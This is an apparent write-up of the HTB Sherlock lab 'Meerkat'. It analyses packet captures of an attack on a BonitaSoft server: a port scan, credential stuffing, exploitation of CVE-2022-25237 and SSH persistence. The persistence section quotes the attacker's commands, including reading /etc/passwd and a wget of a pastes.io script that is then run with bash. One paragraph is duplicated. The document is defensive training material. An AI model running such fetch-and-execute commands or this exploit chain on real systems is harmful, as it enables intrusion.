HTB Sherlock - Meerkat

Sherlock Scenario

As a fast growing startup, Forela have been utilizing a business management platform. Unfortunately our documentation is scarce and our administrators aren't the most security aware. As our new security provider we'd like you to take a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.

Investigation Founding

Going through the packets captured It was obvious the following.

The server hosing BonitaSoft has the IP address `172.31.6.44` has been targeted by a the remote endpoint `156.146.62.213` controlled by the attacker.

After guessing the credentials of the existing user `seb.broom@forela.co.uk` , the attacker was able to gain access on the server through an remote command execution vulnerability then achieve persistence on the machine using the SSH service due to the software service account having high privileges on the system.

Said achieved persistence was later utilized by the IP address `95.181.232.30` yet for lack of access/evidence I was unable to investigate further.

Details

Active Scanning

in a duration of 54 second the attacker has attempted a SYN scan on different `1016` port numbers non stop and found port `8080` to be open which is known to be used as an alternative for HTTP `80` port.

Wireshark filter

```
tcp && tcp.flags.ack == 1 && tcp.flags.reset == 1 && ip.dst == 156.146.62.213
```

Technology Detection

Shortly later the attacker attempted to request `/bonita/` but was redirected to Bonita home page `/bonita/portal/homepage` that in turn redirect the user to `/bonita/loginservice` and from there the next phase stated

Wireshark filter

```
ip.addr == 156.146.62.213 && http
```

Credentials Stuffing

As soon as this endpoint was found a barrage of `112` POST requests was seen attempting to brute-force to gain initial access.
It is also noticed that the IP address `138.199.59.221` was successful in logging in as the user `seb.broom@forela.co.uk` with the password `g0vernm3nt`

Wireshark filter

```
http && http.request.method == POST && http.request.uri == "/bonita/loginservice"
```

Initial Access

Filtering out the brute-force made it clearer to see that the attacker was targeting BonitaSoft's API being vulnerable to authorization bypass CVE-2022-25237 that was used to upload a zip file named `rce_api_extentions.zip` allowing the attacker to execute

commands as the service user.

Wireshark filter

```
http && http.request.uri != "/bonita/loginservice"
```

Initial Access

Filtering out the brute-force made it clearer to see that the attacker was targeting BonitaSoft's API being vulnerable to authorization bypass CVE-2022-25237 that was used to upload a zip file named `rce_api_extentions.zip` allowing the attacker to execute commands as the service user.

Achieving Persistence

utilizing the RCE extension the attacker was able to append it's public SSH key to `/home/ubuntu/.ssh/authorized_keys` and access `/etc/passwd` contents

```
whomai
cat /etc/passwd
wget https://pastes.io/raw/bx5gcr0et8
bash bx5gcr0et8
```

Wireshark Filter

```
http && http.request.uri contains "/bonita/API/extension/rce"
```